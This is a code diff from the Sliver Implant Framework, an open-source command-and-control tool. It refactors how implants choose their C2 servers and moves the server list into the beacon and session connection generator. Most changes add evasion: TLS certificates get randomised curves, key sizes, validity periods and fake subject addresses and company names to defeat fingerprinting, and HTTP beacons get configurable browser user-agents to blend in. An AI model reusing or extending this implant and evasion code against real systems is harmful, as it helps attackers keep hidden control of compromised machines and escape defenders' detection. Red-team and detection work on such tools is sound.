+18
View File
@@ -1,5 +1,23 @@
package service
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"time"
+5 -14
View File
@@ -67,14 +67,7 @@ import (
)
var (
InstanceID string
c2Servers = []string{
// {{range $index, $value := .Config.C2}}
"{{$value}}", // {{$index}}
// {{end}}
}
InstanceID string
connectionErrors = 0
)
@@ -202,7 +195,7 @@ func beaconStartup() {
defer func() {
abort <- struct{}{}
}()
beacons := transports.StartBeaconLoop(c2Servers, abort)
beacons := transports.StartBeaconLoop(abort)
for beacon := range beacons {
// {{if .Config.Debug}}
log.Printf("Next beacon = %v", beacon)
@@ -234,7 +227,7 @@ func sessionStartup() {
defer func() {
abort <- struct{}{}
}()
connections := transports.StartConnectionLoop(c2Servers, abort)
connections := transports.StartConnectionLoop(abort)
for connection := range connections {
if connection != nil {
err := sessionMainLoop(connection)
@@ -480,9 +473,7 @@ func openSessionHandler(data []byte) {
log.Printf("[beacon] failed to parse open session msg: %s", err)
// {{end}}
}
// {{if .Config.Debug}}
log.Printf("[beacon] open session -> %v", openSession.C2S)
// {{end}}
if openSession.Delay != 0 {
// {{if .Config.Debug}}
log.Printf("[beacon] delay %s", time.Duration(openSession.Delay))
@@ -492,7 +483,7 @@ func openSessionHandler(data []byte) {
go func() {
abort := make(chan struct{})
connections := transports.StartConnectionLoop(openSession.C2S, abort)
connections := transports.StartConnectionLoop(abort)
defer func() { abort <- struct{}{} }()
connectionAttempts := 0
for connection := range connections {
+21 -2
View File
@@ -1,12 +1,31 @@
//go:build windows
// +build windows
package spoof
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"golang.org/x/sys/windows"
"os/exec"
"syscall"
"golang.org/x/sys/windows"
// {{if .Config.Debug}}
"log"
// {{end}}
+2 -2
View File
@@ -113,7 +113,7 @@ func (b *Beacon) Duration() time.Duration {
}
// StartBeaconLoop - Starts the beacon loop generator
func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
// {{if .Config.Debug}}
log.Printf("Starting beacon loop ...")
// {{end}}
@@ -122,7 +122,7 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
nextBeacon := make(chan *Beacon)
innerAbort := make(chan struct{})
c2Generator := C2Generator(c2s, innerAbort)
c2Generator := C2Generator(innerAbort)
go func() {
defer close(nextBeacon)
+24 -6
View File
@@ -1,5 +1,23 @@
package transports
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"net/url"
"sync"
@@ -14,7 +32,7 @@ type Connection struct {
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels *map[uint64]*Tunnel
tunnels map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
@@ -53,7 +71,7 @@ func (c *Connection) Cleanup() {
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return (*c.tunnels)[ID]
return c.tunnels[ID]
}
// AddTunnel - Add tunnel to mapping
@@ -61,7 +79,7 @@ func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
(*c.tunnels)[tun.ID] = tun
c.tunnels[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
@@ -69,17 +87,17 @@ func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(*c.tunnels, ID)
delete(c.tunnels, ID)
}
func (c *Connection) removeAndCloseAllTunnels() {
c.mutex.Lock()
defer c.mutex.Unlock()
for id, tunnel := range *c.tunnels {
for id, tunnel := range c.tunnels {
tunnel.Close()
delete(*c.tunnels, id)
delete(c.tunnels, id)
}
}
+7 -7
View File
@@ -80,7 +80,7 @@ type Start func() error
type Stop func() error
// StartConnectionLoop - Starts the main connection loop
func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
// {{if .Config.Debug}}
log.Printf("Starting interactive session connection loop ...")
@@ -88,7 +88,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
nextConnection := make(chan *Connection)
innerAbort := make(chan struct{})
c2Generator := C2Generator(c2s, innerAbort)
c2Generator := C2Generator(innerAbort)
go func() {
var connection *Connection
@@ -204,7 +204,7 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: false,
@@ -306,7 +306,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
uri: uri,
@@ -414,7 +414,7 @@ func httpConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
uri: uri,
@@ -535,7 +535,7 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
@@ -644,7 +644,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
+17 -9
View File
@@ -36,10 +36,18 @@ const (
)
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
func C2Generator(abort <-chan struct{}) <-chan *url.URL {
// {{if .Config.Debug}}
log.Printf("Starting c2 url generator ({{.Config.ConnectionStrategy}}) ...")
// {{end}}
c2Servers := []func() string{}
// {{range $index, $value := .Config.C2}}
c2Servers = append(c2Servers, func() string {
return "{{$value}}" // {{$index}}
})
// {{end}} - range
generator := make(chan *url.URL)
go func() {
defer close(generator)
@@ -48,16 +56,16 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
var next string
switch "{{.Config.ConnectionStrategy}}" {
case strategyRandom: // Random
next = c2Servers[insecureRand.Intn(len(c2Servers))]
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
case strategyRandomDomain: // Random Domain
// Select the next sequential C2 then use it's protocol to make a random
// selection from all C2s that share it's protocol.
next = c2Servers[insecureRand.Intn(len(c2Servers))]
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
next = randomCCDomain(c2Servers, next)
case strategySequential: // Sequential
next = c2Servers[c2Counter%uint(len(c2Servers))]
next = c2Servers[c2Counter%uint(len(c2Servers))]()
default:
next = c2Servers[c2Counter%uint(len(c2Servers))]
next = c2Servers[c2Counter%uint(len(c2Servers))]()
}
c2Counter++
if ^uint(0) < c2Counter {
@@ -90,15 +98,15 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
}
// randomCCDomain - Random selection within a protocol
func randomCCDomain(ccServers []string, next string) string {
func randomCCDomain(ccServers []func() string, next string) string {
uri, err := url.Parse(next)
if err != nil {
return next
}
pool := []string{}
pool := []func() string{}
protocol := uri.Scheme
for _, cc := range ccServers {
uri, err := url.Parse(cc)
uri, err := url.Parse(cc())
if err != nil {
continue
}
@@ -106,7 +114,7 @@ func randomCCDomain(ccServers []string, next string) string {
pool = append(pool, cc)
}
}
return pool[insecureRand.Intn(len(pool))]
return pool[insecureRand.Intn(len(pool))]()
}
var (
@@ -46,7 +46,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
+2 -2
View File
@@ -20,7 +20,7 @@ package certs
import (
"os"
"path"
"path/filepath"
"github.com/bishopfox/sliver/server/log"
"golang.org/x/crypto/acme/autocert"
@@ -37,7 +37,7 @@ var (
// GetACMEDir - Dir to store ACME certs
func GetACMEDir() string {
acmePath := path.Join(getCertDir(), ACMEDirName)
acmePath := filepath.Join(getCertDir(), ACMEDirName)
if _, err := os.Stat(acmePath); os.IsNotExist(err) {
acmeLog.Infof("[mkdir] %s", acmePath)
os.MkdirAll(acmePath, 0700)
+8 -8
View File
@@ -25,7 +25,7 @@ import (
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"github.com/bishopfox/sliver/server/assets"
)
@@ -44,7 +44,7 @@ func SetupCAs() {
func getCertDir() string {
rootDir := assets.GetRootAppDir()
certDir := path.Join(rootDir, "certs")
certDir := filepath.Join(rootDir, "certs")
if _, err := os.Stat(certDir); os.IsNotExist(err) {
err := os.MkdirAll(certDir, 0700)
if err != nil {
@@ -57,7 +57,7 @@ func getCertDir() string {
// GenerateCertificateAuthority - Creates a new CA cert for a given type
func GenerateCertificateAuthority(caType string, commonName string) (*x509.Certificate, *ecdsa.PrivateKey) {
storageDir := getCertDir()
certFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
if _, err := os.Stat(certFilePath); os.IsNotExist(err) {
certsLog.Infof("Generating certificate authority for '%s'", caType)
cert, key := GenerateECCCertificate(caType, commonName, true, false)
@@ -104,9 +104,9 @@ func GetCertificateAuthority(caType string) (*x509.Certificate, *ecdsa.PrivateKe
// GetCertificateAuthorityPEM - Get PEM encoded CA cert/key
func GetCertificateAuthorityPEM(caType string) ([]byte, []byte, error) {
caType = path.Base(caType)
caCertPath := path.Join(getCertDir(), fmt.Sprintf("%s-ca-cert.pem", caType))
caKeyPath := path.Join(getCertDir(), fmt.Sprintf("%s-ca-key.pem", caType))
caType = filepath.Base(caType)
caCertPath := filepath.Join(getCertDir(), fmt.Sprintf("%s-ca-cert.pem", caType))
caKeyPath := filepath.Join(getCertDir(), fmt.Sprintf("%s-ca-key.pem", caType))
certPEM, err := ioutil.ReadFile(caCertPath)
if err != nil {
@@ -134,8 +134,8 @@ func SaveCertificateAuthority(caType string, cert []byte, key []byte) {
// CAs get written to the filesystem since we control the names and makes them
// easier to move around/backup
certFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
keyFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-key.pem", caType))
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
keyFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-key.pem", caType))
err := ioutil.WriteFile(certFilePath, cert, 0600)
if err != nil {
+23 -10
View File
@@ -31,6 +31,7 @@ import (
"errors"
"fmt"
"math/big"
insecureRand "math/rand"
"net"
"time"
@@ -40,12 +41,6 @@ import (
)
const (
// RSAKeySize - Default size of RSA keys in bits
RSAKeySize = 2048 // This is plenty 4096 is overkill
// Certs are valid for ~3 Years, minus up to 1 year from Now()
validFor = 3 * (365 * 24 * time.Hour)
// ECCKey - Namespace for ECC keys
ECCKey = "ecc"
@@ -148,7 +143,9 @@ func GenerateECCCertificate(caType string, commonName string, isCA bool, isClien
var err error
// Generate private key
privateKey, err = ecdsa.GenerateKey(elliptic.P384(), rand.Reader)
curves := []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
curve := curves[randomInt(len(curves))]
privateKey, err = ecdsa.GenerateKey(curve, rand.Reader)
if err != nil {
certsLog.Fatalf("Failed to generate private key: %s", err)
}
@@ -158,7 +155,7 @@ func GenerateECCCertificate(caType string, commonName string, isCA bool, isClien
return generateCertificate(caType, subject, isCA, isClient, privateKey)
}
// GenerateRSACertificate - Generates a 2048 bit RSA Certificate
// GenerateRSACertificate - Generates an RSA Certificate
func GenerateRSACertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) {
certsLog.Debugf("Generating TLS certificate (RSA) for '%s' ...", commonName)
@@ -167,7 +164,7 @@ func GenerateRSACertificate(caType string, commonName string, isCA bool, isClien
var err error
// Generate private key
privateKey, err = rsa.GenerateKey(rand.Reader, RSAKeySize)
privateKey, err = rsa.GenerateKey(rand.Reader, rsaKeySize())
if err != nil {
certsLog.Fatalf("Failed to generate private key %s", err)
}
@@ -183,7 +180,7 @@ func generateCertificate(caType string, subject pkix.Name, isCA bool, isClient b
notBefore := time.Now()
days := randomInt(365) * -1 // Within -1 year
notBefore = notBefore.AddDate(0, 0, days)
notAfter := notBefore.Add(validFor)
notAfter := notBefore.Add(randomValidFor())
certsLog.Debugf("Valid from %v to %v", notBefore, notAfter)
// Serial number
@@ -297,3 +294,19 @@ func randomInt(max int) int {
i := binary.LittleEndian.Uint32(buf)
return int(i) % max
}
func randomValidFor() time.Duration {
validFor := 3 * (365 * 24 * time.Hour)
switch insecureRand.Intn(2) {
case 0:
validFor = 2 * (365 * 24 * time.Hour)
case 1:
validFor = 3 * (365 * 24 * time.Hour)
}
return validFor
}
func rsaKeySize() int {
rsaKeySizes := []int{4096, 2048}
return rsaKeySizes[randomInt(len(rsaKeySizes))]
}
+1 -1
View File
@@ -37,7 +37,7 @@ func HTTPSGenerateRSACertificate(host string) ([]byte, []byte, error) {
var err error
// Generate private key
privateKey, err = rsa.GenerateKey(rand.Reader, RSAKeySize)
privateKey, err = rsa.GenerateKey(rand.Reader, rsaKeySize())
if err != nil {
certsLog.Fatalf("Failed to generate private key %s", err)
return nil, nil, err
-1
View File
@@ -66,7 +66,6 @@ func OperatorServerGenerateCertificate(hostname string) ([]byte, []byte, error)
// OperatorClientListCertificates - Get all client certificates
func OperatorClientListCertificates() []*x509.Certificate {
operatorCerts := []*models.Certificate{}
dbSession := db.Session()
result := dbSession.Where(&models.Certificate{CAType: OperatorCA}).Find(&operatorCerts)
+325 -86
View File
@@ -16,6 +16,11 @@ package certs
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
------------------------------------------------------------------------
Use JARM if you want to fingerprint, don't rely on the subject, its sloppy.
*/
import (
@@ -23,101 +28,314 @@ import (
"fmt"
insecureRand "math/rand"
"strings"
"github.com/bishopfox/sliver/server/codenames"
)
var (
// State -> Localities -> Street Addresses
states = map[string]map[string][]string{
"": {
"": {""},
// Finally found a good use for Github Co-Pilot!
// Country -> State -> Localities -> Street Addresses
subjects = map[string]map[string]map[string][]string{
"US": {
"": {
"": {
"",
},
},
"Arizona": {
"Phoenix": {""},
"Mesa": {""},
"Scottsdale": {""},
"Chandler": {""},
},
"California": {
"San Francisco": {"", "", "Golden Gate"},
"Oakland": {""},
"Berkeley": {""},
"Palo Alto": {""},
"Los Angeles": {""},
"San Diego": {""},
"San Jose": {""},
"Sunnyvale": {""},
"Santa Clara": {""},
"Mountain View": {""},
"San Mateo": {""},
"Redwood City": {""},
"Menlo Park": {""},
"San Bruno": {""},
"San Carlos": {""},
"San Leandro": {""},
"San Rafael": {""},
"San Ramon": {""},
"Santa Monica": {""},
"Santa Rosa": {""},
"South San Francisco": {
"",
},
},
"Colorado": {
"Denver": {""},
"Boulder": {""},
"Aurora": {""},
"Fort Collins": {""},
},
"Connecticut": {
"New Haven": {""},
"Bridgeport": {""},
"Stamford": {""},
"Norwalk": {""},
},
"Washington": {
"Seattle": {""},
"Tacoma": {""},
"Olympia": {""},
"Spokane": {""},
},
"Florida": {
"Miami": {""},
"Orlando": {""},
"Tampa": {""},
"Jacksonville": {""},
},
"Illinois": {
"Chicago": {""},
"Aurora": {""},
"Naperville": {""},
"Peoria": {""},
},
"Indiana": {
"Indianapolis": {""},
"Fort Wayne": {""},
"Evansville": {""},
"South Bend": {""},
},
"Massachusetts": {
"Boston": {""},
"Worcester": {
"",
"Polytechnic Institute",
},
"Springfield": {""},
"Lowell": {""},
},
"Michigan": {
"Detroit": {""},
"Grand Rapids": {
"",
"State University",
},
"Warren": {""},
"Sterling Heights": {
"",
"Community College",
},
},
"Minnesota": {
"Minneapolis": {""},
"Saint Paul": {""},
"Bloomington": {""},
"Plymouth": {""},
},
"New Jersey": {
"Newark": {""},
"Jersey City": {
"",
"Institute of Technology",
},
"Paterson": {""},
"Elizabeth": {
"",
"Princeton",
},
},
"New York": {
"New York": {""},
"Buffalo": {""},
"Rochester": {
"",
"University",
},
"Yonkers": {""},
},
"North Carolina": {
"Charlotte": {""},
"Raleigh": {""},
"Greensboro": {
"",
"University",
},
"Winston-Salem": {""},
},
"Ohio": {
"Columbus": {""},
"Cleveland": {
"",
"State University",
},
"Cincinnati": {""},
"Toledo": {""},
},
},
"Arizona": {
"Phoenix": {""},
"Mesa": {""},
"Scottsdale": {""},
"Chandler": {""},
"CA": {
"": {
"": {
"",
},
},
"Alberta": {
"Calgary": {""},
"Edmonton": {
"",
"University",
},
"Red Deer": {""},
"Fort McMurray": {
"",
"University",
},
},
"British Columbia": {
"Vancouver": {""},
"Victoria": {""},
"Kelowna": {""},
"Richmond": {""},
},
"Manitoba": {
"Winnipeg": {""},
"Brandon": {""},
"Thompson": {""},
"Portage la Prairie": {
"",
"University",
},
},
"New Brunswick": {
"Fredericton": {""},
"Moncton": {""},
"Saint John": {""},
"Dieppe": {""},
},
"Newfoundland and Labrador": {
"St. John's": {""},
"Mount Pearl": {
"",
"College",
},
"Conception Bay South": {""},
"Paradise": {
"",
"College",
},
},
},
"California": {
"San Francisco": {"", "Golden Gate Bridge"},
"Oakland": {""},
"Berkeley": {""},
"Palo Alto": {""},
"Los Angeles": {""},
"San Diego": {""},
"San Jose": {""},
},
"Colorado": {
"Denver": {""},
"Boulder": {""},
"Aurora": {""},
"Fort Collins": {""},
},
"Connecticut": {
"New Haven": {""},
"Bridgeport": {""},
"Stamford": {""},
"Norwalk": {""},
},
"Washington": {
"Seattle": {""},
"Tacoma": {""},
"Olympia": {""},
"Spokane": {""},
},
"Florida": {
"Miami": {""},
"Orlando": {""},
"Tampa": {""},
"Jacksonville": {""},
},
"Illinois": {
"Chicago": {""},
"Aurora": {""},
"Naperville": {""},
"Peoria": {""},
"JP": {
"": {
"": {
"",
},
},
"Aichi": {
"Nagoya": {""},
"Kasugai": {
"",
"University",
},
"Okazaki": {""},
"Handa": {""},
},
"Chiba": {
"Chiba": {""},
"Kashiwa": {
"",
"University",
},
"Funabashi": {""},
"Kimitsu": {""},
},
},
}
)
func randomSubject(commonName string) *pkix.Name {
province, locale, street := randomProvinceLocalityStreetAddress()
country, province, locale, street := randomProvinceLocalityStreetAddress()
return &pkix.Name{
Organization: randomOrganization(),
Country: []string{"US"},
Country: country,
Province: province,
Locality: locale,
StreetAddress: street,
PostalCode: randomPostalCode(),
PostalCode: randomPostalCode(country),
CommonName: commonName,
}
}
func randomPostalCode() []string {
switch insecureRand.Intn(1) {
case 0:
return []string{fmt.Sprintf("%d", insecureRand.Intn(8000)+1000)}
default:
func randomPostalCode(country []string) []string {
// 1 in `n` will include a postal code
// From my cursory view of a few TLS certs it seems uncommon to include this
// in the distinguished name so right now it's set to 1/5
const postalProbability = 5
if len(country) == 0 {
return []string{}
}
switch country[0] {
case "US":
// American postal codes are 5 digits
switch insecureRand.Intn(postalProbability) {
case 0:
return []string{fmt.Sprintf("%05d", insecureRand.Intn(90000)+1000)}
default:
return []string{}
}
case "CA":
// Canadian postal codes are weird and include letter/number combo's
letters := "ABHLMNKGJPRSTVYX"
switch insecureRand.Intn(postalProbability) {
case 0:
letter1 := string(letters[insecureRand.Intn(len(letters))])
letter2 := string(letters[insecureRand.Intn(len(letters))])
if insecureRand.Intn(2) == 0 {
letter1 = strings.ToLower(letter1)
letter2 = strings.ToLower(letter2)
}
return []string{
fmt.Sprintf("%s%d%s", letter1, insecureRand.Intn(9), letter2),
}
default:
return []string{}
}
}
return []string{}
}
func randomProvinceLocalityStreetAddress() ([]string, []string, []string) {
state := randomState()
locality := randomLocality(state)
streetAddress := randomStreetAddress(state, locality)
return []string{state}, []string{locality}, []string{streetAddress}
func randomProvinceLocalityStreetAddress() ([]string, []string, []string, []string) {
country := randomCountry()
state := randomState(country)
locality := randomLocality(country, state)
streetAddress := randomStreetAddress(country, state, locality)
return []string{country}, []string{state}, []string{locality}, []string{streetAddress}
}
func randomState() string {
keys := make([]string, 0, len(states))
for k := range states {
func randomCountry() string {
keys := make([]string, 0, len(subjects))
for k := range subjects {
keys = append(keys, k)
}
return keys[insecureRand.Intn(len(keys))]
}
func randomLocality(state string) string {
locales := states[state]
func randomState(country string) string {
keys := make([]string, 0, len(subjects[country]))
for k := range subjects[country] {
keys = append(keys, k)
}
return keys[insecureRand.Intn(len(keys))]
}
func randomLocality(country string, state string) string {
locales := subjects[country][state]
keys := make([]string, 0, len(locales))
for k := range locales {
keys = append(keys, k)
@@ -125,44 +343,65 @@ func randomLocality(state string) string {
return keys[insecureRand.Intn(len(keys))]
}
func randomStreetAddress(state string, locality string) string {
addresses := states[state][locality]
func randomStreetAddress(country string, state string, locality string) string {
addresses := subjects[country][state][locality]
return addresses[insecureRand.Intn(len(addresses))]
}
var (
orgNames = []string{
"",
"ACME",
"Partners",
"Tech",
"Cloud",
"Synergy",
"Test",
"Debug",
}
orgSuffixes = []string{
"",
"",
"co",
"llc",
"inc",
"corp",
"ltd",
"plc",
"inc.",
"corp.",
"ltd.",
"plc.",
"co.",
"llc.",
"incorporated",
"limited",
"corporation",
"company",
"incorporated",
"limited",
"corporation",
"company",
}
)
func randomOrganization() []string {
name := orgNames[insecureRand.Intn(len(orgNames))]
adjective, _ := codenames.RandomAdjective()
noun, _ := codenames.RandomNoun()
suffix := orgSuffixes[insecureRand.Intn(len(orgSuffixes))]
switch insecureRand.Intn(4) {
case 0:
return []string{strings.TrimSpace(strings.ToLower(name + " " + suffix))}
case 1:
return []string{strings.TrimSpace(strings.ToUpper(name + " " + suffix))}
case 2:
return []string{strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s", name, suffix)))}
var orgName string
switch insecureRand.Intn(8) {
case 0:
orgName = strings.TrimSpace(fmt.Sprintf("%s %s, %s", adjective, noun, suffix))
case 1:
orgName = strings.TrimSpace(strings.ToLower(fmt.Sprintf("%s %s, %s", adjective, noun, suffix)))
case 2:
orgName = strings.TrimSpace(fmt.Sprintf("%s, %s", noun, suffix))
case 3:
orgName = strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s, %s", adjective, noun, suffix)))
case 4:
orgName = strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s", adjective, noun)))
case 5:
orgName = strings.TrimSpace(strings.ToLower(fmt.Sprintf("%s %s", adjective, noun)))
case 6:
orgName = strings.TrimSpace(strings.Title(fmt.Sprintf("%s", noun)))
case 7:
noun2, _ := codenames.RandomNoun()
orgName = strings.TrimSpace(strings.ToLower(fmt.Sprintf("%s-%s", noun, noun2)))
default:
return []string{}
orgName = ""
}
return []string{orgName}
}
@@ -1,4 +1,4 @@
package generate
package codenames
/*
Sliver Implant Framework
@@ -23,7 +23,7 @@ import (
"fmt"
insecureRand "math/rand"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/server/assets"
@@ -39,11 +39,11 @@ var (
})
)
// readlines - Read lines of a text file into a slice
func readlines(fpath string) ([]string, error) {
file, err := os.Open(fpath)
// readLines - Read lines of a text file into a slice
func readLines(txtFilePath string) ([]string, error) {
file, err := os.Open(txtFilePath)
if err != nil {
codenameLog.Errorf("Error opening %s: %v", fpath, err)
codenameLog.Errorf("Error opening %s: %v", txtFilePath, err)
return nil, err
}
defer file.Close()
@@ -63,37 +63,37 @@ func readlines(fpath string) ([]string, error) {
}
// getRandomWord - Get a random word from a file, not cryptographically secure
func getRandomWord(fpath string) (string, error) {
func getRandomWord(txtFilePath string) (string, error) {
appDir := assets.GetRootAppDir()
words, err := readlines(path.Join(appDir, fpath))
words, err := readLines(filepath.Join(appDir, txtFilePath))
if err != nil {
return "", err
}
wordsLen := len(words)
if wordsLen == 0 {
return "", fmt.Errorf("no words found in %s", fpath)
return "", fmt.Errorf("no words found in %s", txtFilePath)
}
word := words[insecureRand.Intn(wordsLen-1)]
return strings.TrimSpace(word), nil
}
// getRandomAdjective - Get a random noun, not cryptographically secure
func getRandomAdjective() (string, error) {
// RandomAdjective - Get a random noun, not cryptographically secure
func RandomAdjective() (string, error) {
return getRandomWord("adjectives.txt")
}
// getRandomNoun - Get a random noun, not cryptographically secure
func getRandomNoun() (string, error) {
// RandomNoun - Get a random noun, not cryptographically secure
func RandomNoun() (string, error) {
return getRandomWord("nouns.txt")
}
// GetCodename - Returns a randomly generated 'codename'
func GetCodename() (string, error) {
adjective, err := getRandomAdjective()
adjective, err := RandomAdjective()
if err != nil {
return "", err
}
noun, err := getRandomNoun()
noun, err := RandomNoun()
if err != nil {
return "", err
}
+26 -9
View File
@@ -35,7 +35,8 @@ import (
const (
httpC2ConfigFileName = "http-c2.json"
chromeBaseVer = 97
DefaultChromeBaseVer = 100
DefaultMacOSVer = "10_15_7"
)
// HTTPC2Config - Parent config file struct for implant/server
@@ -69,7 +70,7 @@ func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) strin
case "arm64":
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X %s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.MacOSVer(), h.ChromeVer())
}
}
@@ -83,7 +84,19 @@ func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) strin
// ChromeVer - Generate a random Chrome user-agent
func (h *HTTPC2Config) ChromeVer() string {
return fmt.Sprintf("%d.0.%d.%d", chromeBaseVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
chromeVer := h.ImplantConfig.ChromeBaseVersion
if chromeVer == 0 {
chromeVer = DefaultChromeBaseVer
}
return fmt.Sprintf("%d.0.%d.%d", chromeVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
}
func (h *HTTPC2Config) MacOSVer() string {
macosVer := h.ImplantConfig.MacOSVersion
if macosVer == "" {
macosVer = DefaultMacOSVer
}
return macosVer
}
// RandomImplantConfig - Randomly generate a config
@@ -126,7 +139,9 @@ type NameValueProbability struct {
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
UserAgent string `json:"user_agent"`
UserAgent string `json:"user_agent"`
ChromeBaseVersion int `json:"chrome_base_version"`
MacOSVersion string `json:"macos_version"`
URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"`
@@ -222,11 +237,13 @@ var (
},
},
ImplantConfig: &HTTPC2ImplantConfig{
UserAgent: "", // Blank string is rendered as randomized platform user-agent
MaxFiles: 8,
MinFiles: 2,
MaxPaths: 8,
MinPaths: 2,
UserAgent: "", // Blank string is rendered as randomized platform user-agent
ChromeBaseVersion: DefaultChromeBaseVer,
MacOSVersion: DefaultMacOSVer,
MaxFiles: 8,
MinFiles: 2,
MaxPaths: 8,
MinPaths: 2,
StagerFileExt: ".woff",
+1 -1
View File
@@ -26,7 +26,7 @@ import (
)
var (
// TunSocksTunnels - Interating with duplex SocksTunnels
// TunSocksTunnels - Interacting with duplex SocksTunnels
SocksTunnels = tcpTunnel{
tunnels: map[uint64]*TcpTunnel{},
mutex: &sync.Mutex{},
+4 -4
View File
@@ -31,7 +31,7 @@ import (
)
var (
// Tunnels - Interating with duplex tunnels
// Tunnels - Interacting with duplex tunnels
Tunnels = tunnels{
tunnels: map[uint64]*Tunnel{},
mutex: &sync.Mutex{},
@@ -125,10 +125,10 @@ func (t *tunnels) Create(sessionID string) *Tunnel {
// will close it once there is no data for at least delayBeforeClose delay since last message
// This is _necessary_ since we processing messages asynchronously
// and if tunnelCloseHandler routine will fire before tunnelDataHandler routine we will lose some data
// (this is what happends for socks and portfwd)
// (this is what happens for socks and portfwd)
// There is no another way around it, if we want to stick to async processing as we do now.
